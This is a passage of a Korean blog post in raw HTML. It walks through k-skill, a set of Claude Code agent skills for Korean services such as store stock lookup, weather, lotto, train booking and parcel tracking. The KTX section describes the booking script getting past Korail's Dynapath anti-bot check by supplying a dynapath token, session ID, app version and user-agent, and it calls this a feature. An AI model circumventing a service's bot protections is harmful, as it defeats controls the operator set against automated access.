&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1826&quot; data-origin-height=&quot;1030&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GOvzK/dJMcagLUKqs/970ClsQQiuD01do4vFoNR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GOvzK/dJMcagLUKqs/970ClsQQiuD01do4vFoNR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GOvzK/dJMcagLUKqs/970ClsQQiuD01do4vFoNR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGOvzK%2FdJMcagLUKqs%2F970ClsQQiuD01do4vFoNR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1826&quot; height=&quot;1030&quot; data-origin-width=&quot;1826&quot; data-origin-height=&quot;1030&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설치된 스킬 확인&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;npx --yes skills ls -g&lt;/code&gt;&lt;/pre&gt;
&lt;!-- 섹션 3 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. k-skill-setup &amp;mdash; credential 설정과 secrets 관리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 설치 후 바로 쓸 수 있는 스킬과, KTX&amp;middot;SRT처럼 로그인이 필요한 스킬을 쓰기 전에 반드시 &lt;code&gt;k-skill-setup&lt;/code&gt;을 실행해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Credential Resolution Order &amp;mdash; 4단계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;k-skill-setup은 credential을 다음 순서로 찾는다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;이미 환경변수에 있으면&lt;/b&gt; 그대로 사용한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;에이전트가 자체 secret vault(1Password CLI, Bitwarden CLI, macOS Keychain 등)를 쓰고 있으면&lt;/b&gt; 거기서 꺼내 환경변수로 주입한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;~/.config/k-skill/secrets.env&lt;/code&gt;&lt;/b&gt; (기본 fallback) &amp;mdash; plain dotenv 파일, 권한 &lt;code&gt;0600&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;아무것도 없으면&lt;/b&gt; 에이전트가 직접 질문하여 2번 또는 3번에 저장한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;secrets 파일 위치와 권한 설정은 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;crystal&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# secrets 파일 위치
~/.config/k-skill/secrets.env

# 권한 설정 (최초 생성 시)
chmod 0600 ~/.config/k-skill/secrets.env&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주의사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;k-skill-setup은 cron, launchd, schtasks 같은 시스템 변경은 사용자 동의 없이 자동 적용하지 않는다. GitHub 스타도 명시적으로 동의했을 때만 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 생활 밀착형 스킬 상세&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 없이 쓸 수 있는 스킬들부터 살펴본다. 처음에는 &quot;이게 왜 필요해?&quot;라는 생각이 들 수도 있지만, 막상 써보면 생각보다 쓸 일이 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-1. 다이소 상품 조회 &amp;mdash; 매장 픽업 재고까지 확인&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bO8jAF/dJMcagE9A5P/wEMFi5UIZ3jnCAq8zHaTck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bO8jAF/dJMcagE9A5P/wEMFi5UIZ3jnCAq8zHaTck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bO8jAF/dJMcagE9A5P/wEMFi5UIZ3jnCAq8zHaTck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbO8jAF%2FdJMcagE9A5P%2FwEMFi5UIZ3jnCAq8zHaTck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1110&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Node 18+만 있으면 로그인 없이 쓸 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다이소 상품 조회 흐름은 4단계다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;code&gt;selStr&lt;/code&gt; &amp;mdash; 매장 후보 검색 (예: &quot;강남역&quot;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SearchGoods&lt;/code&gt; &amp;mdash; 상품 검색 (예: &quot;리들샷&quot;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;selStrPkupStck&lt;/code&gt; &amp;mdash; 해당 매장의 상품 픽업 재고 확인&lt;/li&gt;
&lt;li&gt;&lt;code&gt;selOnlStck&lt;/code&gt; &amp;mdash; 온라인 재고 교차 확인 (선택적)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부적으로 다이소몰의 공식 API 표면을 직접 호출한다. store search, product search, store pickup stock 등 6개 API 엔드포인트를 순서대로 호출하는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 3월 27일 기준 smoke test에서 강남역2호점 + VT 리들샷 100 조합으로 공식 경로가 실제로 동작함을 확인했다. 당시 해당 매장 재고는 없었지만 API 경로 자체는 정상 응답을 반환했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-2. 올리브영 검색 &amp;mdash; 명동 매장 선크림 재고까지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;올리브영 검색은 upstream &lt;code&gt;hmmhmmhm/daiso-mcp&lt;/code&gt; + npm 패키지 &lt;code&gt;daiso&lt;/code&gt;를 그대로 사용하며, k-skill 내에 별도 수집기를 두지 않는다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# health check
npx --yes daiso health

# 명동 매장 목록 조회
npx --yes daiso get /api/oliveyoung/stores --keyword 명동 --limit 5 --json

# 선크림 상품 검색
npx --yes daiso get /api/oliveyoung/products --keyword 선크림 --size 5 --json

# 명동 매장의 선크림 재고 확인
npx --yes daiso get /api/oliveyoung/inventory --keyword 선크림 --storeKeyword 명동 --size 5 --json&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 4월 5일 실제 테스트에서 &lt;code&gt;health: status ok&lt;/code&gt; 확인, 명동타임워크점&amp;middot;명동2가점&amp;middot;올리브영 명동 타운 등 매장 후보, 선크림 상품 totalCount 435개, 재고 라벨(재고 9개 이상/품절/미판매)까지 실제로 응답을 받았다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Node 버전 주의&lt;/b&gt;: upstream engines.node는 &lt;code&gt;&amp;gt;=20 &amp;lt;21&lt;/code&gt;이다. Node 22 환경에서도 smoke test는 통과했지만 &lt;code&gt;EBADENGINE&lt;/code&gt; 경고가 출력된다. Node 20 LTS 환경이 권장된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-3. 근처 술집 조회 &amp;mdash; 카카오맵 기반, 영업 상태&amp;middot;좌석까지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금요일 저녁 퇴근 후, &quot;지금 사당역 근처에 영업 중인 술집 어디야?&quot;를 에이전트에게 물어보는 것이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;카카오맵 panel3 API 기반으로 현재 영업 상태, 대표 메뉴, 좌석 옵션(단체석/바테이블 등), 전화번호를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 3월 29일, 사당 기준으로 실제 호출해보니 openNowCount 4개, &quot;우미노식탁&quot;(영업 중, 24:00까지, 단체석&amp;middot;케이크 반입 가능&amp;middot;바테이블), &quot;방배을지로골뱅이술집포차 사당역점&quot;, &quot;커먼테이블(01:00까지)&quot; 등이 확인됐다. 이 수준의 실시간 데이터를 Claude Code에서 바로 꺼낼 수 있다는 것이 핵심이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-4. 로또 당첨 확인 &amp;mdash; 회차별 번호 대조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로또 당첨 확인은 npm 패키지 &lt;code&gt;k-lotto&lt;/code&gt;를 사용하며 Node.js 18+가 필요하다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;npm install -g k-lotto
export NODE_PATH=&quot;$(npm root -g)&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code에서 &quot;1216회차 로또 결과 확인해줘&quot;라고 하면 에이전트가 &lt;code&gt;lotto.getDetailResult(1216)&lt;/code&gt; 함수를 호출해 당첨 번호와 등수별 당첨금을 JSON으로 가져온다. 일주일에 한 번, 토요일 밤마다 &quot;지금 내 번호 체크해줘&quot;가 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-5. 한국 날씨 조회 &amp;mdash; 기상청 단기예보, API key 불필요&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기상청 단기예보 API를 k-skill-proxy 경유로 호출하기 때문에 사용자가 공공데이터포털 API key를 직접 발급할 필요가 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반환되는 날씨 카테고리는 기온(TMP), 하늘상태(SKY), 강수형태(PTY), 강수확률(POP), 강수량(PCP), 적설(SNO), 습도(REH), 풍속(WSD)이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;KSKILL_PROXY_BASE_URL 필요&lt;/b&gt;: 날씨 조회는 hosted public route rollout이 끝나기 전까지 &lt;code&gt;KSKILL_PROXY_BASE_URL&lt;/code&gt;을 self-host 또는 배포 확인된 proxy URL로 채워야 한다. 한강 수위나 미세먼지처럼 기본 hosted proxy를 바로 쓸 수는 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-6. 한강 수위 정보 조회 &amp;mdash; HRFCO 관측소 기반&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한강홍수통제소(HRFCO) 관측소 기반으로, 사용자는 API key 없이 기본 hosted proxy(&lt;code&gt;k-skill-proxy.nomadamas.org/v1/han-river/water-level&lt;/code&gt;)로 바로 쓸 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;쓸모없어 보이지만 갓생&quot;의 끝판왕이다. 2026년 4월 5일 기준 실제 응답 예시를 보면, 한강대교 수위 0.66m, 유속 208.58 m&amp;sup3;/s가 측정됐다. 홍수 단계별 임계값(관심 5.5m / 주의 8m / 경보 10m / 심각 11m / 계획홍수 13m)도 함께 반환된다. Claude Code에서 &quot;지금 한강 수위 얼마야?&quot;라고 물으면 바로 답이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;1144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjohzP/dJMcafsFKj1/eb07OkRVkSl4mLouNZ2Ij0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjohzP/dJMcafsFKj1/eb07OkRVkSl4mLouNZ2Ij0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjohzP/dJMcafsFKj1/eb07OkRVkSl4mLouNZ2Ij0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjohzP%2FdJMcafsFKj1%2Feb07OkRVkSl4mLouNZ2Ij0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;607&quot; height=&quot;508&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;1144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. KTX 예매 성공 시나리오 &amp;mdash; search &amp;rarr; reserve &amp;rarr; reservations&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;k-skill의 하이라이트다. 실제 KTX 예약을 Claude Code 에이전트가 대신해주는 시나리오를 전 과정으로 살펴본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 단순 korail2만으로는 안 되는가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공개 배포된 &lt;code&gt;korail2&lt;/code&gt; 0.4.0 예제만으로는 Korail 모바일 표면의 &lt;b&gt;Dynapath anti-bot&lt;/b&gt; 체크에 막혀 &lt;code&gt;MACRO ERROR&lt;/code&gt;가 발생할 수 있다. k-skill의 &lt;code&gt;scripts/ktx_booking.py&lt;/code&gt;는 여기에 다음 값을 보강해서 실제 KTX 예약 흐름을 복구한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;x-dynapath-m-token&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Sid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;최신 app version &lt;code&gt;250601002&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;최신 Android user-agent&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 의미하는 바는 단순하다. k-skill이 일반 라이브러리 래퍼가 아니라, 실제 Korail 앱의 anti-bot 우회까지 유지보수하는 프로젝트라는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사전 준비&lt;/h3&gt;
&lt;pre class=&quot;cmake&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Python 3.10+ 필요
python3 -m pip install korail2 pycryptodome&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 환경변수(또는 &lt;code&gt;~/.config/k-skill/secrets.env&lt;/code&gt;)에 다음을 설정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;KSKILL_KTX_ID=코레일멤버십_아이디
KSKILL_KTX_PASSWORD=비밀번호&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1 &amp;mdash; 열차 검색&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;python3 scripts/ktx_booking.py search 서울 부산 20260328 090000 --limit 5&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답 JSON에는 &lt;code&gt;train_id&lt;/code&gt;가 포함된다. 이 &lt;code&gt;train_id&lt;/code&gt;는 검색 시점의 특정 열차를 가리키는 stable selector이므로, 예약 시 그대로 복사해서 쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2 &amp;mdash; 예약&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색 결과에서 마음에 드는 열차의 &lt;code&gt;train_id&lt;/code&gt;를 확인했으면 예약 명령을 실행한다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;python3 scripts/ktx_booking.py reserve 서울 부산 20260328 090000 \
  --train-id &amp;lt;train_id&amp;gt; \
  --seat-option general-first&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답은 JSON으로 예약번호, 구입기한, 운임 정보를 포함한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결제는 제외한다.&lt;/b&gt; k-skill의 KTX 예매는 예약까지만 자동화하며, 실제 결제는 코레일 앱 또는 홈페이지에서 직접 진행해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3 &amp;mdash; 예약 확인 및 취소&lt;/h3&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 현재 예약 목록 조회
python3 scripts/ktx_booking.py reservations

# 예약 취소 (예약번호 필요)
python3 scripts/ktx_booking.py cancel &amp;lt;reservation_id&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;서울&amp;rarr;부산 KTX 내일 오전 9시 출발편 예약해줘&quot;라는 프롬프트 하나로 Claude Code가 이 흐름 전체를 실행한다. 검색 결과를 보여주고, 확인 후 예약까지 마친 뒤 예약번호를 돌려준다. 결제는 사용자가 직접 마무리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 주목할 추가 스킬들&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;SRT 예매&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;KTX와 동일한 방식으로 SRT도 예매할 수 있다. 환경변수 &lt;code&gt;KSKILL_SRT_ID&lt;/code&gt;, &lt;code&gt;KSKILL_SRT_PASSWORD&lt;/code&gt;가 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Python 패키지 &lt;code&gt;SRTrain&lt;/code&gt;이 설치되어 있으면 아래와 같은 형태로 실행한다.&lt;/p&gt;
&lt;pre class=&quot;dsconfig&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# SRT 예매 &amp;mdash; 열차 검색 예시 (스크립트 상세 파라미터는 공식 문서 참조)
python3 scripts/srt_booking.py --departure 서울 --arrival 부산 --date 20260415 --time 080000&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SRT 상세 명령어&lt;/b&gt;: 위 예시는 검색 흐름을 나타낸 것이다. reserve, reservations 등 전체 서브커맨드는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill GitHub 공식 문서&lt;/a&gt;를 참조한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;카카오톡 Mac CLI&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;macOS에서 카카오톡 메시지를 CLI로 보낼 수 있다. npm 패키지가 아니라 Homebrew tap으로 설치한다.&lt;/p&gt;
&lt;pre class=&quot;gradle&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;brew install silver-flight-group/tap/kakaocli&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;서울 지하철 도착정보&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서울 지하철 실시간 도착정보를 조회한다. 날씨 조회와 마찬가지로 &lt;code&gt;KSKILL_PROXY_BASE_URL&lt;/code&gt; 설정이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;쿠팡 검색 / 택배 배송조회&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠팡 상품 검색(로켓배송 필터, 가격대 검색, 골드박스 특가 포함)과 CJ대한통운&amp;middot;우체국 택배 배송조회도 로그인 없이 쓸 수 있다.&lt;/p&gt;
&lt;pre class=&quot;dsconfig&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 쿠팡 상품 검색 &amp;mdash; npm 패키지 coupang-product-search 사용 (설치 후)
npx --yes coupang-product-search &quot;에어팟&quot; --limit 5

# 택배 배송조회 &amp;mdash; CJ대한통운&amp;middot;우체국 송장번호 조회
npx --yes delivery-tracking --tracking-number 1234567890&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
